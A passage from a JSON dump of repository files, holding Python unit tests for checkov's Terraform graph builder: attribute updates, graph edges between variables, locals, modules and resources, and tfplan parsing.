block_type=BlockType.LOCALS, attributes=attributes\n        )\n        value_to_update = \"test\"\n        block.update_inner_attribute(\n            attribute_key=\"var.owning_account.vpc_cidr\", nested_attributes=attributes, value_to_update=value_to_update\n        )\n        self.assertDictEqual(\n            {\"var.owning_account\": block.attributes[\"var.owning_account\"]},\n            {\n                \"var.owning_account\": {\n                    \"route_to\": None,\n                    \"route_to_cidr_blocks\": \"${local.allowed_cidrs}\",\n                    \"static_routes\": None,\n                    \"subnet_ids\": \"${local.own_vpc.private_subnet_ids}\",\n                    \"subnet_route_table_ids\": \"${local.own_vpc.private_route_table_ids}\",\n                    \"transit_gateway_vpc_attachment_id\": None,\n                    \"vpc_cidr\": \"test\",\n                    \"vpc_id\": \"${local.own_vpc.vpc_id}\",\n                }\n            },\n        )\n\n    def test_update_inner_attribute_bad_index(self):\n        config = {\"aws_security_group\": {\"test\": {}}}\n\n        nested_attributes = {\n            \"provisioner/remote-exec.connection\": {\"private_key\": \"${file(var.ssh_key_path)}\", \"user\": \"ec2-user\"},\n            \"provisioner/remote-exec.connection.private_key\": \"${file(var.ssh_key_path)}\",\n            \"provisioner/remote-exec.connection.user\": \"ec2-user\",\n            \"provisioner/remote-exec.inline\": [\"command\"],\n            \"provisioner/remote-exec.inline.0\": \"command0\",\n            \"provisioner/remote-exec.inline.1\": \"command1\",\n            \"provisioner/remote-exec.inline.2\": \"command2\",\n            \"provisioner/remote-exec.inline.3\": \"command3\",\n            \"provisioner/remote-exec.inline.4\": \"command4\",\n        }\n        block = TerraformBlock(\n            name=\"aws_security_group.test\",\n            config=config,\n            path=\"test_path\",\n            block_type=BlockType.RESOURCE,\n            attributes=nested_attributes,\n        )\n\n        block.update_inner_attribute(\n            attribute_key=\"provisioner/remote-exec.inline.3\",\n            nested_attributes=nested_attributes,\n            value_to_update=\"new_command_3\",\n        )\n\n        self.assertEqual(\n            \"new_command_3\",\n            block.attributes[\"provisioner/remote-exec.inline.3\"],\n            f\"failed to update provisioner/remote-exec.inline.3, got {block.attributes['provisioner/remote-exec.inline.3']}\",\n        )\n\n    def test_update_inner_attribute_bad_map_entry(self):\n        config = {\"aws_security_group\": {\"test\": {}}}\n\n        nested_attributes = {\n            \"triggers\": {\n                \"change_endpoint_name\": '${md5(\"my_dev_endpoint\")}',\n                \"change_extra_jars_s3_path\": \"${md5()}\",\n                \"change_extra_python_libs_s3_path\": \"${md5()}\",\n                \"change_number_of_nodes\": '${md5(\"2\")}',\n                \"change_public_keys\": '${md5(\"${var.glue_endpoint_public_keys}\")}',\n                \"change_region\": '${md5(\"us-east-1\")}',\n                \"change_role\": '${md5(\"arn:aws:iam::111111111111:role/my_role\")}',\n                \"change_security_configuration\": \"${md5()}\",\n                \"change_security_group_ids\": '${md5(\"${var.glue_endpoint_security_group_ids}\")}',\n                \"change_subnet_id\": \"${md5()}\",\n            },\n            \"provisioner/local-exec\": {\n                \"command\": \"echo 'info: destroy ignored because part of apply'\",\n                \"when\": \"destroy\",\n            },\n            \"provisioner/local-exec.command\": \"echo 'info: destroy ignored because part of apply'\",\n            \"provisioner/local-exec.environment\": {\n                \"endpoint_name\": \"${var.glue_endpoint_name}\",\n                \"extra_jars_s3_path\": \"${var.glue_endpoint_extra_jars_libraries}\",\n                \"extra_python_libs_s3_path\": \"${var.glue_endpoint_extra_python_libraries}\",\n                \"number_of_nodes\": \"${var.glue_endpoint_number_of_dpus}\",\n                \"public_keys\": '${join(\",\",var.glue_endpoint_public_keys)}',\n                \"region\": \"${var.aws_region}\",\n                \"role_arn\": \"${var.glue_endpoint_role}\",\n                \"security_configuration\": \"${var.glue_endpoint_security_configuration}\",\n                \"security_group_ids\": '${join(\",\",var.glue_endpoint_security_group_ids)}',\n                \"subnet_id\": \"${var.glue_endpoint_subnet_id}\",\n            },\n            \"provisioner/local-exec.environment.endpoint_name\": \"my_dev_endpoint\",\n            \"provisioner/local-exec.environment.extra_jars_s3_path\": \"\",\n            \"provisioner/local-exec.environment.extra_python_libs_s3_path\": \"\",\n            \"provisioner/local-exec.environment.number_of_nodes\": 2,\n            \"provisioner/local-exec.environment.public_keys\": '${join(\",\",var.glue_endpoint_public_keys)}',\n            \"provisioner/local-exec.environment.region\": \"us-east-1\",\n            \"provisioner/local-exec.environment.role_arn\": \"arn:aws:iam::111111111111:role/my_role\",\n            \"provisioner/local-exec.environment.security_configuration\": \"\",\n            \"provisioner/local-exec.environment.security_group_ids\": '${join(\",\",var.glue_endpoint_security_group_ids)}',\n            \"provisioner/local-exec.environment.subnet_id\": \"\",\n            \"provisioner/local-exec.when\": \"destroy\",\n            \"resource_type\": [\"null_resource\"],\n            \"triggers.change_endpoint_name\": '${md5(\"my_dev_endpoint\")}',\n            \"triggers.change_extra_jars_s3_path\": \"${md5()}\",\n            \"triggers.change_extra_python_libs_s3_path\": \"${md5()}\",\n            \"triggers.change_number_of_nodes\": '${md5(\"2\")}',\n            \"triggers.change_public_keys\": '${md5(\"${var.glue_endpoint_public_keys}\")}',\n            \"triggers.change_region\": '${md5(\"us-east-1\")}',\n            \"triggers.change_role\": '${md5(\"arn:aws:iam::111111111111:role/my_role\")}',\n            \"triggers.change_security_configuration\": \"${md5()}\",\n            \"triggers.change_security_group_ids\": '${md5(\"${var.glue_endpoint_security_group_ids}\")}',\n            \"triggers.change_subnet_id\": \"${md5()}\",\n        }\n        block = TerraformBlock(\n            name=\"null_resource.glue_endpoint_apply\",\n            config=config,\n            path=\"test_path\",\n            block_type=BlockType.RESOURCE,\n            attributes=nested_attributes,\n        )\n        attribute_key = \"provisioner/local-exec.environment.security_configuration\"\n        block.update_inner_attribute(\n            attribute_key=attribute_key, nested_attributes=nested_attributes, value_to_update=\"\"\n        )\n\n        self.assertEqual(\n            \"\",\n            block.attributes[attribute_key],\n            f\"failed to update provisioner/remote-exec.inline.3, got {block.attributes[attribute_key]}\",\n        )\n\n    def test_malformed_provider_block(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../../resources/malformed_provider')\n\n        graph_manager = TerraformGraphManager(db_connector=NetworkxConnector())\n        graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir)\n\n        expected_num_of_provider_nodes = 0\n        vertices_by_block_type = graph.vertices_by_block_type\n        self.assertEqual(expected_num_of_provider_nodes, len(vertices_by_block_type[BlockType.PROVIDER]))\n"
  },
  {
    "path": "tests/terraform/graph/graph_builder/test_graph_builder.py",
    "content": "import os\nimport shutil\nfrom unittest import TestCase, mock\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.terraform.modules.module_utils import external_modules_download_path\nfrom checkov.terraform.plan_utils import create_definitions\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestGraphBuilder(TestCase):\n    def test_build_graph(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example')\n\n        graph_manager = TerraformGraphManager(db_connector=NetworkxConnector())\n        graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir)\n\n        expected_num_of_var_nodes = 3\n        expected_num_of_locals_nodes = 1\n        expected_num_of_resources_nodes = 1\n        expected_num_of_provider_nodes = 1\n        vertices_by_block_type = graph.vertices_by_block_type\n        self.assertEqual(expected_num_of_var_nodes, len(vertices_by_block_type[BlockType.VARIABLE]))\n        self.assertEqual(expected_num_of_locals_nodes, len(vertices_by_block_type[BlockType.LOCALS]))\n        self.assertEqual(expected_num_of_resources_nodes, len(vertices_by_block_type[BlockType.RESOURCE]))\n        self.assertEqual(expected_num_of_provider_nodes, len(vertices_by_block_type[BlockType.PROVIDER]))\n\n        provider_node = graph.vertices[vertices_by_block_type[BlockType.PROVIDER][0]]\n        resource_node = graph.vertices[vertices_by_block_type[BlockType.RESOURCE][0]]\n        local_node = graph.vertices[graph.vertices_block_name_map[BlockType.LOCALS][\"bucket_name\"][0]]\n\n        var_bucket_name_node = None\n        var_region_node = None\n        var_aws_profile_node = None\n        for index in vertices_by_block_type[BlockType.VARIABLE]:\n            var_node = graph.vertices[index]\n            if var_node.name == 'aws_profile':\n                var_aws_profile_node = var_node\n            if var_node.name == 'bucket_name':\n                var_bucket_name_node = var_node\n            if var_node.name == 'region':\n                var_region_node = var_node\n\n        self.check_edge(graph, resource_node, local_node, 'bucket')\n        self.check_edge(graph, resource_node, provider_node, 'provider')\n        self.check_edge(graph, resource_node, var_region_node, 'region')\n        self.check_edge(graph, provider_node, var_aws_profile_node, 'profile')\n        self.check_edge(graph, local_node, var_bucket_name_node, 'bucket_name')\n\n    def check_edge(self, graph, node_from, node_to, expected_label):\n        hashed_from = node_from.get_hash()\n        hashed_to = node_to.get_hash()\n        matching_edges = []\n        for edge in graph.edges:\n            if graph.vertices[edge.origin].get_hash() == hashed_from and graph.vertices[edge.dest].get_hash() == hashed_to:\n                matching_edges.append(edge)\n        self.assertGreater(len(matching_edges), 0,\n                           f'expected to find edge from [{node_from.block_type} {node_from.name}] to [{node_to.block_type} {node_to.name}] with label [{expected_label}]')\n        if not any(e.label == expected_label for e in matching_edges):\n            self.fail(\n                f'expected to find edge from [{node_from.block_type} {node_from.name}] to [{node_to.block_type} {node_to.name}] with label [{expected_label}], found edges: {[str(e) for e in matching_edges]}')\n\n    @staticmethod\n    def get_vertex_by_name_and_type(local_graph, block_type, name, multiple=False):\n        vertices = [local_graph.vertices[i] for i in local_graph.vertices_block_name_map[block_type][name]]\n        if multiple:\n            return vertices\n        return vertices[0]\n\n    def test_update_vertices_configs_deep_nesting(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_deep_nesting')\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n        expected_config = {\n            \"aws_s3_bucket\": {\n                \"default\": {\n                    \"server_side_encryption_configuration\": [\n                        {\n                            \"rule\": [\n                                {\n                                    \"apply_server_side_encryption_by_default\": [\n                                        {\"kms_master_key_id\": [\"\"], \"sse_algorithm\": [\"AES256\"]}\n                                    ]\n                                }\n                            ]\n                        }\n                    ],\n                    \"__start_line__\": 1,\n                    \"__end_line__\": 10,\n                    \"__address__\": \"aws_s3_bucket.default\"\n                }\n            }\n        }\n        actual_config = local_graph.vertices[local_graph.vertices_by_block_type.get(BlockType.RESOURCE)[0]].config\n        self.assertDictEqual(expected_config, actual_config)\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\n    def test_build_graph_with_linked_modules(self):\n        # see the image to view the expected graph in tests/resources/modules/linked_modules/expected_graph.png\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/linked_modules'))\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=False)\n\n        vertices_by_block_type = local_graph.vertices_by_block_type\n\n        expected_vertices_num_by_type = {\n            BlockType.VARIABLE: 5,\n            BlockType.RESOURCE: 5,\n            BlockType.OUTPUT: 3,\n            BlockType.MODULE: 2,\n            BlockType.DATA: 1,\n        }\n\n        for block_type, count in expected_vertices_num_by_type.items():\n            self.assertEqual(count, len(vertices_by_block_type[block_type]))\n\n        output_this_lambda_func_arn = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT,\n                                                                       'this_lambda_function_arn')\n        output_this_lambda_func_name = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT,\n                                                                        'this_lambda_function_name')\n        output_this_s3_bucket_id = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT, 'this_s3_bucket_id')\n        resource_aws_lambda_function = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                                        'aws_lambda_function.this')\n        resource_aws_s3_bucket_policy = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                                         'aws_s3_bucket_policy.this')\n        resource_aws_s3_bucket = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.this')\n\n        self.check_edge(local_graph, node_from=output_this_lambda_func_arn, node_to=resource_aws_lambda_function,\n                        expected_label='value')\n        self.check_edge(local_graph, node_from=output_this_lambda_func_name, node_to=resource_aws_lambda_function,\n                        expected_label='value')\n        self.check_edge(local_graph, node_from=output_this_s3_bucket_id, node_to=resource_aws_s3_bucket_policy,\n                        expected_label='value')\n        self.check_edge(local_graph, node_from=output_this_s3_bucket_id, node_to=resource_aws_s3_bucket,\n                        expected_label='value')\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\n    def test_build_graph_with_linked_registry_modules(self):\n        resources_dir = os.path.realpath(\n            os.path.join(TEST_DIRNAME, '../resources/modules/registry_security_group_inner_module'))\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir,\n                                                                                      render_variables=True,\n                                                                                      download_external_modules=True)\n\n        outputs_vpcs = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT, 'security_group_vpc_id',\n                                                        multiple=True)\n        resource_flow_log = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                             'aws_flow_log.related_flow_log')\n        resource_security_group_this = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                                        'aws_security_group.this')\n        resource_security_group_this_name_prefix = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                                                    'aws_security_group.this_name_prefix')\n\n        output_this_security_group_vpc_id_inner = [o for o in outputs_vpcs if 'http-80' in o.path][0]\n        output_this_security_group_vpc_id_outer = [o for o in outputs_vpcs if 'http-80' not in o.path][0]\n\n        self.check_edge(local_graph, node_from=resource_flow_log, node_to=output_this_security_group_vpc_id_inner,\n                        expected_label='vpc_id')\n        self.check_edge(local_graph, node_from=output_this_security_group_vpc_id_outer,\n                        node_to=resource_security_group_this, expected_label='value')\n        self.check_edge(local_graph, node_from=output_this_security_group_vpc_id_outer,\n                        node_to=resource_security_group_this_name_prefix, expected_label='value')\n\n        # cleanup\n        if os.path.exists(os.path.join(resources_dir, external_modules_download_path)):\n            shutil.rmtree(os.path.join(resources_dir, external_modules_download_path))\n\n    def test_build_graph_with_deep_nested_edges(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/k8_service'))\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, tf = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        resource_kubernetes_deployment = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                                          'kubernetes_deployment.bazel_remote_cache')\n        locals_name = self.get_vertex_by_name_and_type(local_graph, BlockType.LOCALS, 'name')\n        locals_labels = self.get_vertex_by_name_and_type(local_graph, BlockType.LOCALS, 'labels')\n\n        self.check_edge(local_graph, node_from=locals_labels, node_to=locals_name,\n                        expected_label=\"labels.app.kubernetes.io/name\")\n        self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name,\n                        expected_label=\"metadata.name\")\n        self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name,\n                        expected_label=\"spec.template.metadata.name\")\n        self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name,\n                        expected_label=\"spec.template.spec.container.name\")\n        self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name,\n                        expected_label=\"spec.template.spec.volume.1.config_map.name\")\n\n    def test_blocks_from_local_graph_module(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/stacks'))\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, tf = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n        tf, _ = convert_graph_vertices_to_tf_definitions(local_graph.vertices, resources_dir)\n        found_results = 0\n        for key, value in tf.items():\n            if key.file_path.startswith(os.path.join(os.path.dirname(resources_dir), 's3_inner_modules', 'inner', 'main.tf')):\n                conf = value['resource'][0]['aws_s3_bucket']['inner_s3']\n                new_key = build_new_key_for_tf_definition(key)\n                if 'stage/main' in new_key or 'prod/main' in new_key:\n                    self.assertTrue(conf['versioning'][0]['enabled'][0])\n                    found_results += 1\n                elif 'test/main' in new_key:\n                    self.assertFalse(conf['versioning'][0]['enabled'][0])\n                    found_results += 1\n        self.assertEqual(found_results, 3)\n\n    def test_build_graph_with_dynamic_blocks(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/dynamic_lambda_function'))\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, tf = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n        lambda_attributes = local_graph.vertices[0].attributes\n        self.assertIn(\"dead_letter_config\", lambda_attributes.keys())\n\n    def test_get_attribute_dict_with_list_value(self):\n        # given\n        resources_dir = os.path.join(TEST_DIRNAME, \"../resources/s3_bucket_grant\")\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        # when\n        attributes = local_graph.vertices[\n            local_graph.vertices_by_block_type.get(BlockType.RESOURCE)[0]\n        ].get_attribute_dict()\n\n        # then\n        expected_grant_attribute = [\n            {\"permissions\": [\"READ_ACP\"], \"type\": \"Group\", \"uri\": \"http://acs.amazonaws.com/groups/global/AllUsers\"},\n            {\"id\": \"1234567890\", \"permissions\": [\"FULL_CONTROL\"], \"type\": \"CanonicalUser\"},\n        ]\n\n        self.assertCountEqual(expected_grant_attribute, attributes[\"grant\"])\n\n    def test_build_graph_terraform_block(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/terraform_block')\n\n        graph_manager = TerraformGraphManager(db_connector=NetworkxConnector())\n        graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir)\n\n        terraform_blocks = graph.vertices_by_block_type[BlockType.TERRAFORM]\n        self.assertEqual(1, len(terraform_blocks))\n\n        terraform_block = graph.vertices[terraform_blocks[0]]\n        expected_attributes = [\"backend\", \"required_version\", \"required_providers\"]\n        for attr in expected_attributes:\n            self.assertIn(attr, list(terraform_block.attributes.keys()))\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES\": \"True\"})\n    def test_build_graph_with_cross_variables_connections(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/cross_variables')\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket')\n        bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example')\n\n        self.assertEqual(len(local_graph.edges), 4)\n        self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource,\n                        expected_label=\"[cross-variable] bucket\")\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES\": \"True\"})\n    def test_build_graph_with_cross_variables_connections_from_module(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/cross_variables2/main'))\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket')\n        bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example')\n\n        self.assertEqual(len(local_graph.edges), 6)\n        self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource,\n                        expected_label=\"[cross-variable] bucket\")\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES\": \"True\"})\n    def test_build_graph_with_cross_modules_connections(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/cross_modules'))\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                               'aws_s3_bucket_public_access_block.var_bucket')\n        bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example')\n\n        self.assertEqual(len(local_graph.edges), 5)\n        self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource,\n                        expected_label=\"[cross-variable] bucket\")\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES\": \"True\"})\n    def test_build_graph_with_cross_nested_modules_connections(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/cross_modules2'))\n\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE,\n                                                               'aws_s3_bucket_public_access_block.var_bucket')\n        bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example')\n\n        self.assertEqual(len(local_graph.edges), 8)\n        self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource,\n                        expected_label=\"[cross-variable] bucket\")\n\n    def test_nested_modules_address_attribute(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/nested_modules_address'))\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n        module_1 = self.get_vertex_by_name_and_type(local_graph, BlockType.MODULE, 'inner_s3_module')\n        assert module_1.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'module.s3_module.inner_s3_module'\n        module_2 = self.get_vertex_by_name_and_type(local_graph, BlockType.MODULE, 's3_module')\n        assert module_2.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 's3_module'\n        resource_1 = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket')\n        assert resource_1.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket'\n        resource_2 = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example')\n        assert resource_2.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'aws_s3_bucket.example'\n        provider = self.get_vertex_by_name_and_type(local_graph, BlockType.PROVIDER, 'aws.test_provider')\n        assert provider.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'aws.test_provider'\n\n    # Related to https://github.com/bridgecrewio/checkov/issues/4324\n    def test_build_graph_for_each_with_variables_and_dynamic_not_crash(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/for_each')\n\n        graph_manager = TerraformGraphManager(db_connector=NetworkxConnector())\n        # Shouldn't throw exception\n        graph_manager.build_graph_from_source_directory(resources_dir)\n\n    def test_build_rustworkx_graph(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example')\n\n        graph_manager = TerraformGraphManager(db_connector=RustworkxConnector())\n        graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir)\n\n        expected_num_of_var_nodes = 3\n        expected_num_of_locals_nodes = 1\n        expected_num_of_resources_nodes = 1\n        expected_num_of_provider_nodes = 1\n        vertices_by_block_type = graph.vertices_by_block_type\n        self.assertEqual(expected_num_of_var_nodes, len(vertices_by_block_type[BlockType.VARIABLE]))\n        self.assertEqual(expected_num_of_locals_nodes, len(vertices_by_block_type[BlockType.LOCALS]))\n        self.assertEqual(expected_num_of_resources_nodes, len(vertices_by_block_type[BlockType.RESOURCE]))\n        self.assertEqual(expected_num_of_provider_nodes, len(vertices_by_block_type[BlockType.PROVIDER]))\n\n        provider_node = graph.vertices[vertices_by_block_type[BlockType.PROVIDER][0]]\n        resource_node = graph.vertices[vertices_by_block_type[BlockType.RESOURCE][0]]\n        local_node = graph.vertices[graph.vertices_block_name_map[BlockType.LOCALS][\"bucket_name\"][0]]\n\n        var_bucket_name_node = None\n        var_region_node = None\n        var_aws_profile_node = None\n        for index in vertices_by_block_type[BlockType.VARIABLE]:\n            var_node = graph.vertices[index]\n            if var_node.name == 'aws_profile':\n                var_aws_profile_node = var_node\n            if var_node.name == 'bucket_name':\n                var_bucket_name_node = var_node\n            if var_node.name == 'region':\n                var_region_node = var_node\n\n        self.check_edge(graph, resource_node, local_node, 'bucket')\n        self.check_edge(graph, resource_node, provider_node, 'provider')\n        self.check_edge(graph, resource_node, var_region_node, 'region')\n        self.check_edge(graph, provider_node, var_aws_profile_node, 'profile')\n        self.check_edge(graph, local_node, var_bucket_name_node, 'bucket_name')\n\n    def test_multiple_nested_module_with_connected_resources(self):\n        valid_plan_path = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules_edges_tfplan/tfplan.json'))\n        definitions, definitions_raw = create_definitions(root_folder=None, files=[valid_plan_path])\n        graph_manager = TerraformGraphManager(db_connector=RustworkxConnector())\n        tf_plan_local_graph = graph_manager.build_graph_from_definitions(definitions, render_variables=False)\n        self.assertTrue(tf_plan_local_graph.in_edges[1])\n        self.assertTrue(tf_plan_local_graph.in_edges[3])\n\n    def test_best_match_multiple_modules_with_connected_resources(self):\n        valid_plan_path = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules_edges_tfplan/tfplan.json'))\n        definitions, definitions_raw = create_definitions(root_folder=None, files=[valid_plan_path])\n        graph_manager = TerraformGraphManager(db_connector=RustworkxConnector())\n        tf_plan_local_graph = graph_manager.build_graph_from_definitions(definitions, render_variables=False)\n        origin_module_name = 'module.test.test.s3-bucket-1.aws_s3_bucket_public_access_block.this[0]'\n        vertex_module_name_1 = 'module.test.test.s3-bucket-1.aws_s3_bucket.this[0]'\n        vertex_module_name_2 = 'module.test.s3-bucket-2.aws_s3_bucket.this[0]'\n        origin_path = 'modules_edges_tfplan/tfplan.json'\n        common_prefix_1 = tf_plan_local_graph._get_common_prefix_name(origin_module_name, vertex_module_name_1, origin_path)\n        common_prefix_2 = tf_plan_local_graph._get_common_prefix_name(origin_module_name, vertex_module_name_2, origin_path)\n        assert(common_prefix_1 == 'modules_edges_tfplan/tfplan.json module.test.test.s3-bucket-1')\n        assert(common_prefix_2 == 'modules_edges_tfplan/tfplan.json module.test')\n\n\ndef build_new_key_for_tf_definition(key):\n    key = key.tf_source_modules\n    new_key = ''\n    while key.nested_tf_module:\n        new_key += f'{key.nested_tf_module.path}'\n        key = key.nested_tf_module\n    return new_key\n"
  },
  {
    "path": "tests/terraform/graph/graph_builder/test_local_graph.py",
    "content": "import os\nfrom pathlib import Path\nfrom unittest import TestCase\nfrom unittest import mock\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.graph_builder import EncryptionValues, EncryptionTypes\nfrom checkov.common.graph.graph_builder.utils import calculate_hash\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING, \\\n    TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR\nfrom checkov.terraform import TFModule\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\nfrom checkov.terraform.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE\nfrom checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.terraform.modules.module_utils import clean_parser_types, serialize_definitions\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestLocalGraph(TestCase):\n    def setUp(self) -> None:\n        self.source = \"TERRAFORM\"\n\n    def test_update_vertices_configs_attribute_like_resource_name(self):\n        config = {\"resource_type\": {\"resource_name\": {\"attribute1\": 1, \"attribute2\": 2, \"resource_name\": [\"caution!\"]}}}\n        attributes = {\"attribute1\": 1, \"attribute2\": 2, \"resource_name\": \"ok\"}\n        local_graph = TerraformLocalGraph(None)\n        vertex = TerraformBlock(name=\"resource_type.resource_name\", config=config, path='', block_type=BlockType.RESOURCE, attributes=attributes)\n        vertex.changed_attributes[\"resource_name\"] = \"\"\n        local_graph.vertices.append(vertex)\n        local_graph.update_vertices_configs()\n        expected_config = {\"resource_type\": {\"resource_name\": {\"attribute1\": 1, \"attribute2\": 2, \"resource_name\": [\"ok\"]}}}\n        self.assertDictEqual(expected_config, vertex.config)\n\n    def test_single_edge_with_same_label(self):\n        resources_dir = os.path.realpath(\n            os.path.join(TEST_DIRNAME, '../resources/k8_service'))\n\n        graph_manager = 